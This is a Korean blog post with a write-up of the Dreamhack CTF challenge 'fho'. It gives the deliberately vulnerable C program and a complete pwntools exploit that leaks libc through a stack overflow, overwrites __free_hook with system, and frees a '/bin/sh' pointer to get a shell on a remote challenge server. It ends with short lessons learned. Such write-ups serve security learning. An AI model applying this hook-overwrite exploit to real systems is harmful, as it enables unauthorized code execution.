외로운 Nova의 작업실
dreamhack - fho write up 본문
- source code
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
- exploit code
from pwn import *
p = remote("23.81.42.210", 19147 )
libc = ELF("./libc-2.27.so")
#proc - 1 : leack __libc_start_main231
payload = b"A" *0x48
p.recvuntil("Buf: ")
p.send(payload)
p.recvuntil(payload)
lib_start_231 = u64(p.recvline()[:-1]+b"\x00"*2)
lib_base = lib_start_231 - (libc.symbols["__libc_start_main"] + 231)
free_hook = lib_base + libc.symbols["__free_hook"]
print(libc.symbols["__free_hook"])
system = lib_base + libc.symbols["system"]
print(libc.symbols["system"])
binsh = lib_base + next(libc.search(b"/bin/sh"))
print(next(libc.search(b"/bin/sh")))
#proc - 2 : write system into freehook
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
print(p.recvline())
#proc - 3 : input /bin/sh
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()
- 알게된점
1. scanf() 함수는 str 문자열로 줘야합니다.
2. printf()함수라고해서 무조건 문자열값은 아닙니다. 바이트값일 수 있으니 항상 확인해야합니다.
3. 특정 라이브러리의 문자열, 함수 오프셋은 파이썬이 다 할 수 있습니다.
'Computer App Penetesting > System Vulnerability' 카테고리의 다른 글
dreamhack - basic_exploitation_002 (0) | 2023.04.27 |
---|---|
dreamhack - OOB write up (0) | 2023.04.25 |
dreamhack - hook write up (0) | 2023.04.22 |
dreamhack - oneshot write up (0) | 2023.04.21 |
dreamhack - basic_rop_x86 write up (0) | 2023.04.20 |
Comments